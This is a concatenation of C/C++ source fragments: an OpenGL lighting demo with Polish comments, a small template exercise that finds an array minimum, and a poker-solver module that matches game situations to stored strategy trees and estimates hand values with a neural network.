angle +=0.05; glutPostRedisplay(); } void display_11(void)//punktowe światła specular i diffuse + kierunkowe światło diffuse { glutIdleFunc(idle); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glLoadIdentity(); gluLookAt(130.0, 210.0, 40.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); mat_specular[0]=1.0; mat_specular[1]=1.0; mat_specular[2]=1.0; mat_diffuse[0]=0.9; mat_diffuse[1]=0.9; mat_diffuse[2]=0.9; mat_shininess=100.0; mat_ambient[0]=0.0; mat_ambient[1]=0.0; mat_ambient[2]=0.0; light0_position[0]=200;//-700.0; light0_position[1]=200;//-700.0; light0_position[2]=201;//700.0; light0_position[3]=1;//700.0; light0_specular[0]=0.5; light0_specular[1]=0.1; light0_specular[2]=0.1; light0_diffuse[0]=0.5; light0_diffuse[1]=0.1; light0_diffuse[2]=0.1; light1_position[0]=300*cos(angle); light1_position[1]=300*sin(angle); light1_position[2]=20; light1_spot_direction[0]=-300*cos(angle); light1_spot_direction[1]=-300*sin(angle); light1_spot_direction[2]=-20; light1_diffuse[0]=1.0; light1_diffuse[1]=1.0; light1_diffuse[2]=1.0; light1_spot_exponent =40; light1_spot_cutoff = 40; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glEnable(GL_LIGHT1); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glLightfv(GL_LIGHT0, GL_SPECULAR, light0_specular); glLightfv(GL_LIGHT1, GL_POSITION, light1_position); glLightfv(GL_LIGHT1, GL_DIFFUSE, light1_diffuse); glLightfv(GL_LIGHT1, GL_SPOT_DIRECTION, light1_spot_direction); glLightf(GL_LIGHT1, GL_SPOT_EXPONENT, light1_spot_exponent); glLightf(GL_LIGHT1, GL_SPOT_CUTOFF, light1_spot_cutoff); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); glMaterialf(GL_FRONT, GL_SHININESS, mat_shininess ); kula(100,100,70,0,0,0,1,1,0.5); mat_specular[1]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); mat_diffuse[1]=0.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(60,30,70,120,0,0,0.5,0.5,1); mat_specular[2]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); mat_diffuse[0]=0.1; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); Cube(10,45,15,0,0,0,90,90,-20); glFlush(); glutSwapBuffers(); } void display_12(void)//demo diffuse { mat_specular[0]=0.0; mat_specular[1]=0.0; mat_specular[2]=0.0; mat_ambient[0]=0.0; mat_ambient[1]=0.0; mat_ambient[2]=0.0; mat_shininess=100.0; light0_position[0]=0.0; light0_position[1]=0.0; light0_position[2]=0.3; light0_diffuse[0]=0.0; light0_diffuse[1]=110.9; light0_diffuse[2]=0.9; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glLoadIdentity(); gluLookAt(0.1, 0, 200.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0.0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora //wyzerowanie reakcji na energię diffuse mat_diffuse[0]=mat_diffuse[1]=mat_diffuse[2]=1; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glMatrixMode(GL_MODELVIEW); glBegin(GL_QUADS); glNormal3f(0,0,1); for (int i=-100;i<100;i++) for (int j=-100;j<100;j++) { glVertex3f(i,j,0); glVertex3f(i+1,j,0); glVertex3f(i+1,j+1,0); glVertex3f(i,j+1,0); } glEnd(); glFlush(); glutSwapBuffers(); } void odrysuj(int szerokosc, int wysokosc){ float h = float(wysokosc), w = float(szerokosc); glViewport(0, 0, szerokosc, wysokosc); glMatrixMode(GL_PROJECTION); glLoadIdentity(); gluPerspective(fovy, w/h, near_, far_); glMatrixMode(GL_MODELVIEW); } void main(int argc, char** argv) { glutInit(&argc, argv); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH); glutInitWindowPosition(windowPositionX, windowPositionY); glutInitWindowSize(windowSizeX, windowSizeY); glutCreateWindow("light"); glutDisplayFunc(display_12); glutReshapeFunc(odrysuj); init(); glutMainLoop(); }
//51 Lab 13 Write a function template for finding the minimum value contained in an array. #include <iostream> using namespace std; template <class T> T findMin(T arr[],int n) { int i; T min; min=arr[0]; for(i=0;i<n;i++) { if(min > arr[i]) min=arr[i]; } return(min); } int main() { int iarr[5]; char carr[5]; double darr[5]; cout << "Integer Values \n"; for(int i=0; i < 5; i++) { cout << "Enter integer value " << i+1 << " : "; cin >> iarr[i]; } cout << "Character values \n"; for(int j=0; j < 5; j++) { cout << "Enter character value " << j+1 << " : "; cin >> carr[j]; } cout << "Decimal values \n"; for(int k=0; k < 5; k++) { cout << "Enter decimal value " << k+1 << " : "; cin >> darr[k]; } //calling Generic function...to find minimum value. cout<<"Generic Function to find Minimum from Array\n\n"; cout<<"Integer Minimum is : "<<findMin(iarr,5)<<"\n"; cout<<"Character Minimum is : "<<findMin(carr,5)<<"\n"; cout<<"Double Minimum is : "<<findMin(darr,5)<<"\n"; return 0; }
//#include "stdafx.h" #include <time.h> #include "TreeBanks.h" #include "..\..\..\..\Util\Clasters.h" #include "..\..\AppRiverTrees\Source\clRiverBanks.h" clTreeBank glBankTurn; //---------------------------------------------------------------------------------------------------------------------------- void clTreeBankUnit::CalcRootNode(int cnCalc, tpUnfindTree *ut) { #ifdef TURN_FULLTREE _root.CalcTree(cnCalc); _root.CalcEvTreeTurn(_ev); #else _root.CalcAll(); _root.CalcMultiHandsTree(cnCalc); _root.CalcEvTree(_ev, ut); _root.CalcWeightStrat(); #endif } //---------------------------------------------------------------------------------------------------------------------------- /*void clTreeBankUnit::CalcRootTree(int cnCalc) { _root.CalcMultiHandsTree(cnCalc); _root.CalcEvTree(_ev); _root.CalcWeightStrat(); }*/ //---------------------------------------------------------------------------------------------------------------------------- int clTreeBank::NearestClsNb(clStreetDat &dat, tpFloat &dist) { if (_fastTree.IsInit()) return FastSearch(dat, dist); dist = 1000; int nb = -1; for (int i = 0; i < _arr.size(); i++) { tpFloat d1 = _arr[i].Distance(dat); if (d1 < dist) { dist = d1; nb = i; } } if (_fastTree.IsInit()) { tpFloat dist1; int nbF = FastSearch(dat, dist1); if (nbF != nb) { ErrMessage("NearestClsNb::", "Результат не совпадает с FastSearch"); bool b0 = false; if (b0) NearestClsNb(dat, dist1); } } return nb; } //---------------------------------------------------------------------------------------------------------------------------- void clTreeBank::Create(char *path, int cnRecord) { clAnsiString asPath; asPath = path; _fileUnit.Create((asPath + ".sbM").c_str(), SIZE_MB_DEF, 0, cnRecord); _arr.clear(); _sopen_s(&_fastTree._handle, (asPath + ".binT").c_str(), O_BINARY | O_RDWR | O_CREAT, _SH_DENYNO, _S_IREAD | _S_IWRITE); _chsize(_fastTree._handle, 0); } //---------------------------------------------------------------------------------------------------------------------------- int CheckRiverNode(clAtrHoldemTree *atr) { return (atr->_sitA.NameTrade() == TRADE_RIVER) ? 1 : 0; } bool clTreeBank::OpenA(char *path, bool onlyRead) { clAnsiString asPath; asPath = path; int val = asPath.Length() - 4; char c0 = asPath[val]; if (c0 == '.') asPath.SetLength(asPath.Length() - 4); if (!_fileUnit.OpenFileA((asPath + ".sbM").c_str(), onlyRead, 10000)) return false; _arr.clear(); _arr.resize(_fileUnit.CnRecord()); for (int i = 0; i < _fileUnit.CnRecord(); i++) { int handle = _fileUnit.clFileRecT::LockRecord(i); _arr[i].ReadFile(handle); _fileUnit.clFileRecT::UnLockRecord(i); } _sopen_s(&_fastTree._handle, (asPath + ".binT").c_str(), O_BINARY | O_RDWR, _SH_DENYNO, _S_IREAD | _S_IWRITE); if (_filelength(_fastTree._handle) != 0) _fastTree.LoadFromFile(); /*if (_fileUnit.CnRecord() > 0) { clTreeBankUnit rec; _fileUnit.ReadRecord(0, &rec); int cn = rec._root._tree.CnNode(CheckRiverNode); #ifdef TURN_FULLTREE if (cn == 0) { ErrMessage("TurnBank ", "Не соответситвие версий"); _fileUnit.ClearFile(); return false; } #else if (cn > 0) { ErrMessage("TurnBank ", "Не соответситвие версий"); _fileUnit.ClearFile(); return false; } #endif }*/ clAnsiString pathN = DIR_TURN_BANK; pathN += "turn.net"; int handle = _open(pathN.c_str(), O_BINARY | O_RDONLY); if (handle != -1) { _net.ReadFile(handle); _close(handle); } return true; } //---------------------------------------------------------------------------------------------------------------------------- /*bool clTreeBank::SetRegimNeuro(bool reg) { _regNet = reg; if (reg && _net.Empty()) { clAnsiString path = DIR_TURN_BANK; path += "turn.net"; int handle = _open(path.c_str(), O_BINARY | O_RDONLY); if (handle == -1) { _regNet = false; return false; } _net.ReadFile(handle); _close(handle); } return true; }*/ //---------------------------------------------------------------------------------------------------------------------------- int StreetBankFastSearch(vector <clBankFastTree *> &arr, clStreetDat &dat, double &dist) { vector <clBankFastTree *> arr1; tpFloat dMin = 100000; bool allEnded = true; vector<tpFloat> dLeft, dRight, dNone; dLeft.resize(arr.size()); dRight.resize(arr.size()); dNone.resize(arr.size()); for (int i = 0; i < arr.size(); i++) { if (arr[i]->IsEnded()) { dNone[i] = arr[i]->_val->_dat.Distance(dat); if (dNone[i] < dMin) dMin = dNone[i]; } else { allEnded = false; dLeft[i] = arr[i]->Left()->_val->_dat.Distance(dat); if (dLeft[i] < dMin) dMin = dLeft[i]; dRight[i] = arr[i]->Right()->_val->_dat.Distance(dat); if (dRight[i] < dMin) dMin = dRight[i]; } } for (int i = 0; i < arr.size(); i++) { if (arr[i]->IsEnded()) { if (dNone[i] - arr[i]->_val->_maxDist < dMin || dMin == dNone[i]) arr1.push_back(arr[i]); } else { if (dLeft[i] - arr[i]->Left()->_val->_maxDist < dMin || dMin == dLeft[i]) { arr1.push_back(arr[i]->Left()); } if (dRight[i] - arr[i]->Right()->_val->_maxDist < dMin || dMin == dRight[i]) { arr1.push_back(arr[i]->Right()); } } } if (allEnded) { for (int i = 0; i < arr.size(); i++) if (dNone[i] == dMin) { dist = dMin; return arr[i]->_val->_nbRecord;; } } if (arr1.size() == 0) int a = 2; //arr.clear(); dRight.clear(); dLeft.clear(); dNone.clear(); return StreetBankFastSearch(arr1, dat, dist); } //---------------------------------------------------------------------------------------------------------------------------- int clTreeBank::FastSearch(clStreetDat &dat, double &dist) { vector <clBankFastTree *> arr; arr.push_back(&this->_fastTree); return StreetBankFastSearch(arr, dat, dist); } //---------------------------------------------------------------------------------------------------------------------------- bool CreateClsForAddReal(vector <vector <int>> &cls, vector <clStreetDat> &arr, clBankFastTree &fastTree) { if (!fastTree.IsInit()) return false; //double step = MAX_NEAR_DIST * 4; int dim = arr.size(), n2 = 2, nU = 1; while (dim / n2 > 100) { nU++; n2 *= 2; } fastTree.GetCenters(nU, cls); int dimCls = cls.size(); for (int i = 0; i < dim; i++) { //glTrasser.WriteMessage(i); double min = arr[i].Distance(arr[cls[0][0]]); int nbMin = 0; for (int k = 1; k < dimCls; k++) { //glTrasser.WriteMessage(k); double dist = arr[i].Distance(arr[cls[k][0]]); if (dist < min) { min = dist; nbMin = k; } } if (i != cls[nbMin][0]) cls[nbMin].push_back(i); } return true; } //---------------------------------------------------------------------------------------------------------------------------- bool clTreeBank::CreateClsForAdd(vector <vector <int>> &cls) { return CreateClsForAddReal(cls, _arr, _fastTree); } //---------------------------------------------------------------------------------------------------------------------------- void CompareTree(clHoldemTree *nodeIn, clHoldemTree *node, double kSt, tpTableChangeNb *tab) { if (nodeIn->CnBranch() < 2) return; int cnCls = nodeIn->AtrTree()->CnClasters(); int ind = nodeIn->Indicator(); for (int i = 0; i < cnCls; i++) { clCalcParam clsIn = nodeIn->AtrTree()->CalcParam(i); tpFloat wIn[MAX_CN_BRANCH]; clsIn.GetWeightStrat(nodeIn->CnBranch(), wIn); stNbBtw chNb = tab[ind]._arr[i]; clCalcParam cls = node->AtrTree()->CalcParam(chNb._nb0); tpFloat w[MAX_CN_BRANCH], wT[MAX_CN_BRANCH]; cls.GetWeightStrat(node->CnBranch(), w); for (int j = 0; j < node->CnBranch(); j++) wT[j] = w[j] * chNb._w0; if (chNb._w1 > DOUBLE_0) { cls = node->AtrTree()->CalcParam(chNb._nb1); cls.GetWeightStrat(node->CnBranch(), w); for (int j = 0; j < node->CnBranch(); j++) wT[j] += w[j] * chNb._w1; } for (int j = 0; j < node->CnBranch(); j++) if (fabs(wIn[j] - wT[j]) > 0.01) { clAnsiString as = (clAnsiString)"погрешность=" + WSDoubleToAS(fabs(wIn[j] - wT[j]), 6); glTrasser.WriteMessage(as); } } for (int i = 0; i < nodeIn->CnBranch(); i++) CompareTree(nodeIn->Branch(i), node->Branch(i), 1, tab); } //---------------------------------------------------------------------------------------------------------------------------- void RecalcNbGH(vector <tpStreetDatGH> &vectIn, vector <tpStreetDatGH> &vect, tpTableChangeNb &tab) /// { tab.ZeroData(); stNbBtw *nbF = tab._arr; int dim = vect.size(), dimIn = vectIn.size(); for (int i = 0; i < dimIn; i++) { int nbH = -1, nbL = -1; float minL = 1000, minH = 1000; for (int j = 0; j < dim; j++) { float dist = vectIn[i].Distance(vect[j]); if (vectIn[i] > vect[j]) { if (dist < minH) { minH = dist; nbH = j; } } else { if (dist < minL) { minL = dist; nbL = j; } } } int nbHand = vectIn[i]._nb; if (nbL != -1) nbL = vect[nbL]._nb; if (nbH != -1) nbH = vect[nbH]._nb; if (minL < minH) { if (nbH == -1) { nbF[nbHand]._nb0 = nbL; nbF[nbHand]._w0 = 1; nbF[nbHand]._nb1 = 0; nbF[nbHand]._w1 = 0; } else { float dist = minH / (minH + minL); nbF[nbHand]._nb0 = nbL; nbF[nbHand]._w0 = dist; nbF[nbHand]._nb1 = nbH; nbF[nbHand]._w1 = 1 - dist; } } else if (nbL == -1) { nbF[nbHand]._nb0 = nbH; nbF[nbHand]._w0 = 1; nbF[nbHand]._nb1 = 0; nbF[nbHand]._w1 = 0; } else { float dist = minL / (minH + minL); nbF[nbHand]._nb0 = nbH; nbF[nbHand]._w0 = dist; nbF[nbHand]._nb1 = nbL; nbF[nbHand]._w1 = 1 - dist; } } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------- bool clTreeBank::GetTreeForRoot(clRootStreetTree &root, tpUnfindTree *ptrUT) { clStreetDat dat; root.CreateStreetDat(dat); tpFloat dist; int nb = NearestClsNb(dat, dist); if (ptrUT != NULL) if (dist > ptrUT->_dist) { static int cn = 0; cn++; clAnsiString as = (root._sit.NameTrade() == TRADE_TURN) ? "TurnTree" : "FlopTree"; as += (clAnsiString)cn + (clAnsiString)" dist=" + WSDoubleToAS(dist, 6); glTrasser.WriteMessage(as); if (ptrUT->_file.IsOpen()) { clInComeDataRoot rec; rec = *((clInComeDataRoot *)&root); ptrUT->_file.AddRecord(&rec); } } //if (dist > 0.12) //return false; clTreeBankUnit *unit = LockBankUnit(nb); int res = unit->_root._sit.PlMoney(0); tpTableChangeNb tab[2], tabCls[2]; RecalcNbGH(dat._vectUnit[0], unit->_dat._vectUnit[0], tab[0]); //таблица содержит прямые номера хэндов RecalcNbGH(dat._vectUnit[1], unit->_dat._vectUnit[1], tab[1]); // надо переделать tab в таблицу соответствия кластеров int revCls[ALL_CN_HAND], revClsBD[ALL_CN_HAND]; int dim = unit->_root.CnHand(0); for (int i = 0; i < dim; i++) revClsBD[unit->_root.NbHand(0, i)] = i; dim = root.CnHand(0); for (int i = 0; i < dim; i++) revCls[root.NbHand(0, i)] = i; for (int i = 0; i < dim; i++) { int nbH = root.NbHand(0, i); stNbBtw ch = tab[0]._arr[nbH]; int nbT = revCls[nbH]; stNbBtw &chCls = tabCls[0]._arr[nbT]; chCls = ch; if (chCls._w1 < 0.1) { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = 0; chCls._w0 = 1; chCls._w1 = 0; } else { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = revClsBD[ch._nb1]; } } dim = unit->_root.CnHand(1); for (int i = 0; i < dim; i++) revClsBD[unit->_root.NbHand(1, i)] = i; dim = root.CnHand(1); for (int i = 0; i < dim; i++) revCls[root.NbHand(1, i)] = i; for (int i = 0; i < dim; i++) { int nbH = root.NbHand(1, i); stNbBtw ch = tab[1]._arr[nbH]; int nbT = revCls[nbH]; stNbBtw &chCls = tabCls[1]._arr[nbT]; chCls = ch; if (chCls._w1 < 0.1) { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = 0; chCls._w0 = 1; chCls._w1 = 0; } else { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = revClsBD[ch._nb1]; } } double k = (double)root._sit.PlMoney(0) / unit->_root._sit.PlMoney(0); FillTreeFromTree(&root._tree, &unit->_root._tree, k, tabCls, 0.01); //if(k0>0.99) // CompareTree(&root._tree, &unit->_root._tree, k, tabCls); UnLockBankUnit(nb, unit); return true; } //---------------------------------------------------------------------------------------------------------------------------- bool clTreeBank::GetTreeForRoot(clRoot &root, tpUnfindTree *ptrUT) { clStreetDat dat; CreateStreetDatRoot(root, dat); tpFloat dist; int nb = NearestClsNb(dat, dist); if (ptrUT != NULL) if (dist > ptrUT->_dist) { clAnsiString as = "TurnTree"; as += (clAnsiString)" dist=" + WSDoubleToAS(dist, 6); glTrasser.WriteMessage(as); if (ptrUT->_file.IsOpen()) { clInComeDataRoot rec; rec = *((clInComeDataRoot *)&root); ptrUT->_file.AddRecord(&rec); } } clTreeBankUnit *unit = LockBankUnit(nb); int res = unit->_root._sit.PlMoney(0); tpTableChangeNb tab[2], tabCls[2]; RecalcNbGH(dat._vectUnit[0], unit->_dat._vectUnit[0], tab[0]); //таблица содержит прямые номера хэндов RecalcNbGH(dat._vectUnit[1], unit->_dat._vectUnit[1], tab[1]); // надо переделать tab на номера кластеров int revClsBD[ALL_CN_HAND]; int dim = unit->_root.CnHand(0); for (int i = 0; i < dim; i++) revClsBD[unit->_root.NbHand(0, i)] = i; dim = root.CnHand(0); for (int i = 0; i < dim; i++) { int nbH = root.NbHand(0, i); stNbBtw ch = tab[0]._arr[nbH]; stNbBtw &chCls = tabCls[0]._arr[i]; chCls = ch; if (ch._w1 < 0.1) { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = -1; chCls._w0 = 1; chCls._w1 = 0; } else { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = revClsBD[ch._nb1]; } } dim = unit->_root.CnHand(1); for (int i = 0; i < dim; i++) revClsBD[unit->_root.NbHand(1, i)] = i; dim = root.CnHand(1); for (int i = 0; i < dim; i++) { int nbH = root.NbHand(1, i); stNbBtw ch = tab[1]._arr[nbH]; stNbBtw &chCls = tabCls[1]._arr[i]; chCls = ch; if (ch._w1 < 0.1) { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = -1; chCls._w0 = 1; chCls._w1 = 0; } else { chCls._nb0 = revClsBD[ch._nb0]; chCls._nb1 = revClsBD[ch._nb1]; } } double k = (double)root._sit.EffStackSit() / unit->_root._sit.PlMoney(0); FillTreeFromTree(&root._tree, &unit->_root._tree, k, tabCls, 0.01); UnLockBankUnit(nb, unit); return true; } //---------------------------------------------------------------------------------------------------------------------------- void BankReCalcEv(clRoot *root, int nbHero, clStreetDat &datIn, clStreetDat &dat, vector <float> &evIn, vector <float> &evBD) { evIn.resize(ALL_CN_HAND); ZeroMemory(&evIn[0], ALL_CN_HAND * sizeof(float)); tpTableChangeNb tab; vector <tpStreetDatGH> &vect = dat._vectUnit[nbHero]; vector <tpStreetDatGH> &vectIn = datIn._vectUnit[nbHero]; RecalcNbGH(vectIn, vect, tab); int dim = root->CnHand(nbHero); for (int i0 = 0; i0 < dim; i0++) { int nb = root->NbHand(nbHero, i0); stNbBtw nn0 = tab._arr[nb]; evIn[nb] = evBD[nn0._nb0] * nn0._w0 + evBD[nn0._nb1] * nn0._w1; } } //--------------------------------------------------------------------------------------------------------------------------------------------------- bool TurnNetGetEv(clRootStreetTree &root, vector<float> *ev, clLayersBPNet &net) { int mon = root._sit.PlMoney(0); int monA = mon * 2; //vector <tpStreetDatGH> &vect0 = dat._vectUnit[0]; //vector <tpStreetDatGH> &vect1 = dat._vectUnit[1]; if (root.CnHand(0) != CN_STREETDAT_UNIT || root.CnHand(1) != CN_STREETDAT_UNIT) { glTrasser.WriteMessage((clAnsiString)"Error TurnNetGetEv"); ErrMessage("Error ", "TurnNetGetEv"); return false; } int *ptrHb0 = GetNbHandTurnDatDat(0); int *ptrHb1 = GetNbHandTurnDatDat(1); vector<double> inData, outData; inData.resize(22); inData[0] = NNDouble01ToVal((double)root._sit.PlayerMoney(0) / mon); inData[1] = NNDouble01ToVal((double)root._sit.TotalPot() / monA); for (int k = 0; k < CN_STREETDAT_UNIT; k++) { inData[2 + k] = NNDouble01ToVal(root._gh[0][ptrHb0[k]]); inData[CN_STREETDAT_UNIT + 2 + k] = NNDouble01ToVal(root._gh[1][ptrHb1[k]]); } //for (int i = 0; i < outData.size(); i++) //outData[i] = NNValToDouble01(outData[i]); net.Propogate(inData, outData); for (int i = 0; i < outData.size(); i++) outData[i] = NNValToDouble01(outData[i]); ev[0].resize(ALL_CN_HAND); ev[1].resize(ALL_CN_HAND); ZeroMemory(&ev[0][0], ALL_CN_HAND * sizeof(float)); ZeroMemory(&ev[1][0], ALL_CN_HAND * sizeof(float)); double sum=0; for (int i = 0; i < CN_STREETDAT_UNIT; i++) { int nb = ptrHb0[i]; ev[0][nb] = outData[i] * monA - mon; sum += ev[0][nb] * root._gh[0][nb]; nb = ptrHb1[i]; ev[1][nb] = outData[i + CN_STREETDAT_UNIT] * monA - mon; sum += ev[1][nb] * root._gh[1][nb]; } if (sum > DOUBLE_0) { sum /= 2; for (int i = 0; i < CN_STREETDAT_UNIT; i++) { ev[0][ptrHb0[i]] -= sum; ev[1][ptrHb1[i]] -= sum; } } return true; } //---------------------------------------------------------------------------------------------------------------------------- double DistEV(clHandsGroupEx gh, vector <float> &ev1, vector <float> &ev2) { double res = 0; for (int i = 0; i < ALL_CN_HAND; i++) { double val = ev1[i] - ev2[i]; res += val*val*gh[i]; } return sqrt(res); } //---------------------------------------------------------------------------------------------------------------------------- int clTreeBank::FillEV(clRootStreetTree *root, int nbHero, vector <float> &ev, clLayersBPNet &net) { clStreetDat dat; if (!root->CreateStreetDat(dat)) //if (!root->CreateTurnDatQuick(dat)) return root->_sit.PlMoney(0); vector <float> evN; bool cN = false; clStreetDat datMin; clRootStreetTree r0 = *root; r0.CreateStreetDatMin(datMin, &dat); vector <float> ev0[2]; if (TurnNetGetEv(r0, ev0, net)) { BankReCalcEv(root, nbHero, dat, datMin, ev, ev0[nbHero]); /* tpFloat dist, dS, d0=1000; int nb = NearestClsNb(dat, dist); clTreeBankUnit *unit0 = LockBankUnit(nb); vector <float> evN; BankReCalcEv(root, nbHero, dat, unit0->_dat, evN, unit0->_ev[nbHero]); UnLockBankUnit(nb, unit0); dS = DistEV(root->_gh[nbHero], ev, evN); if (dS > d0) { ErrMessage("", "BigDistEV"); dist = datMin.Distance(unit0->_dat); }*/ return root->_sit.PlMoney(0); cN = true; } else { glTrasser.WriteMessage((clAnsiString)"Не справилась нейросеть"); //r0 = *root; //r0.CreateStreetDatMin(datMin, &dat); //RiverNetGetEv(datMin, ev0, _net); } tpFloat dist, dS; int nb = NearestClsNb(dat, dist); clTreeBankUnit *unit = LockBankUnit(nb); int res = unit->_root._sit.PlMoney(0); BankReCalcEv(root, nbHero, dat, unit->_dat, ev, unit->_ev[nbHero]); UnLockBankUnit(nb, unit); return res; } //---------------------------------------------------------------------------------------------------------------------------- int clTreeBank::FillEV(clRootStreetTree *root, int nbHero, vector <float> &ev) { clStreetDat dat; if (!root->CreateStreetDat(dat)) //if (!root->CreateTurnDatQuick(dat)) return root->_sit.PlMoney(0); tpFloat dist, dS; int nb = NearestClsNb(dat, dist); /* if (_uf._file.IsOpen()) if (dist > _uf._dist) { clAnsiString as = (clAnsiString)"nbNode=" + (clAnsiString)glTime1 + (clAnsiString)"; nbCard=" + (clAnsiString)glTime2; as += (clAnsiString)" dist=" + WSDoubleToAS(dist, 6); glTrasser.WriteMessage(as); tpPrepareBd rec; if (root->CnHand(0) > CN_STREETDAT_UNIT || root->CnHand(1) > CN_STREETDAT_UNIT) { clRootStreetTree root1 = *root; clStreetDat datIn = dat; root1.ReCalcParam(&datIn); root1.CalcIndex(); root1.FindMinParam(datIn); root1.CreateStreetDat(datIn); rec._gset = *((clInComeDataRoot *)&root1); rec._dat = datIn; _uf._file.AddRecord(&rec); } else { rec._gset = *((clInComeDataRoot *)root); rec._dat = dat; _uf._file.AddRecord(&rec); } }*/ clTreeBankUnit *unit = LockBankUnit(nb); int res = unit->_root._sit.PlMoney(0); BankReCalcEv(root, nbHero, dat, unit->_dat, ev, unit->_ev[nbHero]); UnLockBankUnit(nb, unit); return res; } //---------------------------------------------------------------------------------------------------------------------------- void clTreeBank::InitFastTree() { vector<clBinTreeInfo> arr; arr.resize(_arr.size()); for (int i = 0; i < _arr.size(); i++) { arr[i]._dat = _arr[i]; arr[i]._nbRecord = i; } _fastTree.ClearAllBranch(); _fastTree.Init(arr); _fastTree.SaveToFile(); } //---------------------------------------------------------------------------------------------------------------------------- void clBankFastTree::Init(vector<clBinTreeInfo> &arr) { if (arr.size() == 0) return; _val->_nbRecord = arr[0]._nbRecord; _val->_dat = arr[0]._dat; _val->_maxDist = 0; if (arr.size() == 1) return; for (int i = 1; i < arr.size(); i++) { tpFloat d; d = arr[0]._dat.Distance(arr[i]._dat); if (d > _val->_maxDist) _val->_maxDist = d; } clClasters <clBinTreeInfo> cls; cls.AddCheck(&arr); cls.DivideForBin(_val->_maxDist / 2); //cls.Divide(2,4,0); this->AddLeftBranch()->Init(cls[0]); this->AddRightBranch()->Init(cls[1]); } //---------------------------------------------------------------------------------------------------------------------------- int clBinTreeInfo::FindNbCenterElement(vector <clBinTreeInfo> arr) { clStreetDat dat0; dat0._vectUnit[0].resize(CN_STREETDAT_UNIT); dat0._vectUnit[1].resize(CN_STREETDAT_UNIT); for (int i = 0; i < CN_STREETDAT_UNIT; i++) { dat0._vectUnit[0][i] = { i,0,0,0 }; dat0._vectUnit[1][i] = { i,0,0,0 }; } dat0._stack[0] = dat0._stack[1] = dat0._stack[2] = dat0._pot = 0; int dim = (int)arr.size(); float mult = 1.f / dim; vector <tpStreetDatGH> &v0 = dat0._vectUnit[0]; vector <tpStreetDatGH> &v1 = dat0._vectUnit[1]; for (int i = 0; i < dim; i++) { vector <tpStreetDatGH> &av0 = arr[i]._dat._vectUnit[0]; vector <tpStreetDatGH> &av1 = arr[i]._dat._vectUnit[1]; if (av0.size() != CN_STREETDAT_UNIT || av1.size() != CN_STREETDAT_UNIT) int a = 0; for (int k = 0; k < CN_STREETDAT_UNIT; k++) { v0[k]._force += av0[k]._force*av0[k]._weight; v0[k]._force50 += av0[k]._force50*av0[k]._weight; v0[k]._weight += av0[k]._weight; v1[k]._force += av1[k]._force*av1[k]._weight; v1[k]._force50 += av1[k]._force50*av1[k]._weight; v1[k]._weight += av1[k]._weight; } dat0._stack[0] += arr[i]._dat._stack[0]; dat0._stack[1] += arr[i]._dat._stack[1]; dat0._stack[2] += arr[i]._dat._stack[2]; dat0._pot += arr[i]._dat._pot; } for (int k = 0; k < CN_STREETDAT_UNIT; k++) { if (v0[k]._weight > DOUBLE_0) { v0[k]._force /= v0[k]._weight; v0[k]._force50 /= v0[k]._weight; v0[k]._weight /= CN_STREETDAT_UNIT; } if (v1[k]._weight > DOUBLE_0) { v1[k]._force /= v1[k]._weight; v1[k]._force50 /= v1[k]._weight; v1[k]._weight /= CN_STREETDAT_UNIT; } } dat0._stack[0] /= dim; dat0._stack[1] /= dim; dat0._stack[2] /= dim; dat0._pot /= dim; dat0.Copy50AndSort(); tpFloat dMin = dat0.Distance(arr[0]._dat); int nbMin = 0; for (int i = 1; i < dim; i++) { tpFloat d = dat0.Distance(arr[i]._dat); if (d < dMin) { d = dMin; nbMin = i; } } return nbMin; } //---------------------------------------------------------------------------------------------------------------------------- void clBankFastTree::GetCenters(int ur, vector <vector <int>> &cls) { if (ur > 0) { if (_left != NULL) ((clBankFastTree *)_left)->GetCenters(ur - 1, cls); if (_right != NULL) ((clBankFastTree *)_right)->GetCenters(ur - 1, cls); return; } vector <int> vint = { _val->_nbRecord }; cls.push_back(vint); } //----------------------------------------------------------------------------------------------------------------------------
